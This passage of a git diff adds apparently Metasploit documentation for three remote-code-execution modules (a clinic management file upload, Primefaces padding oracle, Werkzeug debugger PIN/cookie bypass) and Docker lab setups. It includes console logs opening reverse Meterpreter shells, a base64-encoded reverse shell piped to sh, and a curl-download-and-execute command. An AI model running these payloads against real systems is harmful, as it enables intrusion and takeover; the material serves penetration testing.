+```bash
+ exploit
+```
+
+7. If successful, you will receive a PHP Meterpreter shell.
+
+## Options
+- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
+- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).
+
+
+## Scenarios
+
+### Clinic's Patient Management System on a Linux Target
+```bash
+msf exploit(multi/http/clinic_pms_fileupload_rce) > check
+[*] Checking if target is vulnerable...
+[+] 127.0.0.1:80 - The target is vulnerable.
+
+msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
+[*] Started reverse TCP handler on 192.168.1.104:4444
+[*] Detected OS: linux
+[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.
+[*] Uploading PHP Meterpreter payload as zuX7FDRe.php...
+[+] Payload uploaded successfully!
+[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php...
+[*] Sending stage (40004 bytes) to 192.168.1.104
+[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530
+
+meterpreter > sysinfo
+Computer : kali
+OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
+Meterpreter : php/linux
+meterpreter >
+```
+
+### Clinic's Patient Management System on a Windows Target
+```bash
+msf exploit(multi/http/clinic_pms_fileupload_rce) > check
+[*] Checking if target is vulnerable...
+[+] 192.168.1.103:80 - The target is vulnerable.
+
+msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
+[*] Started reverse TCP handler on 192.168.1.104:4444
+[*] Detected OS: winnt
+[*] Target is Windows. Using standard PHP Meterpreter payload.
+[*] Uploading PHP Meterpreter payload as lgTprVq5.php...
+[+] Payload uploaded successfully!
+[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php...
+[*] Sending stage (40004 bytes) to 192.168.1.103
+[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530
+
+meterpreter > sysinfo
+Computer : DESKTOP-VE9J36K
+OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
+Meterpreter : php/windows
+meterpreter >
+```
diff --git a/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md
new file mode 100644
index 000000000000..39bb3299ddeb
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md
@@ -0,0 +1,104 @@
+## Vulnerable Application
+
+This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
+Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
+due to the use of weak crypto and default encryption password and salt.
+
+Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image:
+
+* `payload/cmd/unix/reverse_jjs`
+* `payload/cmd/unix/reverse_openssl`
+* `payload/cmd/unix/reverse_perl`
+* `payload/cmd/unix/reverse_python`
+* `payload/cmd/unix/reverse_python_ssl`
+
+### Docker Image
+
+1. `git clone https://github.com/pimps/CVE-2017-1000486`
+2. `cd CVE-2017-1000486/`
+3. `docker build . -t primefaces`
+4. `docker run -p 8090:8080 -t primefaces`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce`
+1. Do: `set rhosts `
+1. Do: `set verbose true`
+1. Do: `set payload payload/cmd/unix/reverse_jjs`
+1. You should get a shell.
+
+## Options
+
+### PASSWORD
+
+The password to login. Defaults to `primefaces`
+
+## Scenarios
+
+### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application
+
+CMD payload
+
+```
+msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
+[*] No payload configured, defaulting to cmd/unix/reverse_netcat
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
+rport => 8090
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
+verbose => true
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs
+payload => cmd/unix/reverse_jjs
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
+
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Victim evaluates Expression Language expressions
+[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh
+[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500
+
+whoami
+root
+```
+
+fetch payload
+
+```
+msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
+[*] No payload configured, defaulting to cmd/unix/reverse_netcat
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
+rport => 8090
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
+verbose => true
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
+payload => cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
+
+[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
+[*] Fetch handler listening on 1.1.1.1:8080
+[*] HTTP server started
+[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Victim evaluates Expression Language expressions
+[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
+[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA
+[*] Sending payload to 172.17.0.2 (curl/7.64.0)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 172.17.0.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500
+
+meterpreter > sysinfo
+Computer : 172.17.0.2
+OS : Debian 10.10 (Linux 6.11.2-amd64)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter > getuid
+Server username: root
+```
\ No newline at end of file
diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
index 79032305ac6c..8c83ec23790a 100644
--- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
+++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
@@ -1,72 +1,602 @@
## Vulnerable Application
-Verified against:
- + 0.9.6 on Debian
- + 0.9.6 on Centos
- + 0.10 on Debian
-
-A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py)
+### Background
+
+The [Werkzeug](https://werkzeug.palletsprojects.com/)
+[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows
+developers to execute python commands in a web application either when an
+exception is not caught by the application, or via the dedicated console if
+enabled.
+
+Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the
+debugger is not enabled by default. It is also included in other projects, for
+example
+[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html),
+part of [django-extensions](https://django-extensions.readthedocs.io/) and may
+also be used alone.
+
+[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/)
+states: "*The debugger allows the execution of arbitrary code which makes it a
+major security risk. The debugger must never be used on production machines. We
+cannot stress this enough. Do not enable the debugger in production. Production
+means anything that is not development, and anything that is publicly
+accessible.*"
+
+Additionally,
+[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/)
+states: "*Do not run the development server, or enable the built-in debugger, in
+a production environment. The debugger allows executing arbitrary Python code
+from the browser. It’s protected by a pin, but that should not be relied on for
+security.*"
+
+**Of course this doesn't prevent developers from mistakenly enabling it in
+production!**
+
+### Exploit Details
+
+Werkzeug versions 0.10 and older of did not include the PIN security feature,
+therefore if the debugger was enabled then arbitrary code execution could be
+easily achieved. Versions 0.11 and above enable the PIN by default, though it
+can be disabled by the application developer. The format of the PIN is 9
+numerical digits, and can include hyphens (which are ignored by the
+application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged
+to stdout when the PIN prompt is shown to the user, therefore if access to
+stdout is possible then it may be able to obtain the PIN using that feature.
+
+A custom PIN can be set by the application developer as an environment variable,
+but it is more commonly generated by Werkzeug using an algorithm that is seeded
+by information about the environment that the application is running in.
+
+Therefore, if the debugger or console is enabled and is not protected by a PIN,
+or if it is possible to obtain the PIN, cookie or the required information about
+the environment that the app is running in (e.g. by exploiting a separate path
+traversal bug in the app) then remote Python code execution will be possible.
+
+If the debugger is "secured" with a PIN then, it will be automatically locked
+after 11 unsuccessful authentication attempts, requiring a restart to re-enable
+PIN based authentication. This can be avoided by calculating the value of a
+cookie and sending that to the debugger instead of sending the PIN, which is
+what this module does, unless the Known-PIN method of exploitation is used.
+Furthermore, authentication using a cookie works even if the PIN-based
+authentication method has been locked because of too many failed authentication
+attempts. This means that this exploit will work even if the debugger
+PIN-authentication is locked.
+
+[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile)
+that required this vulnerability to be exploited in order to gain an initial
+foothold. As a result there are many walkthroughs available online that explain
+how a valid PIN can be generated using
+[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142)
+along with information about the environment. As far as I can tell, none of
+these walkthroughs mention that a cookie can also be generated, and that a
+cookie will bypass a PIN-locked debugger. Neither do they mention that very old
+versions of Werkzeug don't require PIN or that the PIN/cookie generation
+algorithm has changed over time.
+
+To support the different PIN/cookie generation algorithms, this module supports
+multiple different versions of Werkzeug as the target.
+
+It should be noted that version
+[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309)
+to see ensure that requests that include python code to be executed by the
+debugger must come from localhost or 127.0.0.1. This is done by checking the
+Host HTTP header, and therefore can in some cases be bypassed by setting the
+Host header manually using the VHOST parameter in this module.
+
+## Tested Versions
+
+This module has been verified against the following versions of Werkzeug:
+- 3.0.3 on Debian 12, Windows 11 and macOS 14.6
+- 1.1.4 on Debian 12
+- 1.0.1 on Debian 12
+- 0.11.5 on Debian 12
+- 0.10 on Debian 12
+
+## Sample Vulnerable Application
+
+The following Docker Compose file, Dockerfiles and Python script can be used to
+build and run a set of containers that have the console enabled (at /console)
+and also contains endpoints that cause the application to attempt to read the
+content of a file and include it in the response. These endpoints can be used
+for arbitrary file read, but also for triggering the debugger, for example by
+requesting the content of a file that doesn't exist in the container.
+
+#### compose.yaml
+
+ services:
+ werkzeug-3.0.3:
+ build:
+ dockerfile: werkzeug-3.0.3.Dockerfile
+ ports:
+ - "80:80"
+ werkzeug-1.0.1:
+ build:
+ dockerfile: werkzeug-1.0.1.Dockerfile
+ ports:
+ - "81:80"
+ werkzeug-0.11.5:
+ build:
+ dockerfile: werkzeug-0.11.5.Dockerfile
+ ports:
+ - "82:80"
+ werkzeug-0.10:
+ build:
+ dockerfile: werkzeug-0.10.Dockerfile
+ ports:
+ - "83:80"
+ werkzeug-3.0.3-basicauth-custompin:
+ build:
+ dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
+ environment:
+ WERKZEUG_DEBUG_PIN: 1234
+ ports:
+ - "84:80"
+ werkzeug-3.0.3-noevalex:
+ build:
+ dockerfile: werkzeug-3.0.3.Dockerfile
+ ports:
+ - "85:80"
+ entrypoint:
+ - ./app.py
+ - --no-evalex
+
+#### werkzeug-3.0.3.Dockerfile
+
+ # syntax=docker/dockerfile:1
+ FROM python:3
+ RUN pip install werkzeug==3.0.3 flask==3.0.3
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
+
+#### werkzeug-1.0.1.Dockerfile
+
+ # syntax=docker/dockerfile:1
+ FROM python:2
+ RUN pip install werkzeug==1.0.1 flask==1.1.4
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
+
+#### werkzeug-0.11.5.Dockerfile
+
+ # syntax=docker/dockerfile:1
+ FROM python:2
+ RUN pip install werkzeug==0.11.5 flask==0.12.5
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
+
+#### werkzeug-0.10.Dockerfile
+
+ # syntax=docker/dockerfile:1
+ FROM python:2
+ RUN pip install werkzeug==0.10 flask==0.12.5
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
+
+#### werkzeug-3.0.3-basicauth.Dockerfile
+
+ # syntax=docker/dockerfile:1
+ FROM python:3
+ RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
+ COPY report.txt .
+ COPY --chmod=744 app-basicauth.py app.py
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
+
+#### app.py
+
+ #!/usr/bin/env python
+
+ import click
+ from flask import Flask, request, url_for, make_response
+ from sys import argv
+
+ app = Flask(__name__)
+
+ @app.route("/")
+ def index():
+ return (
+ '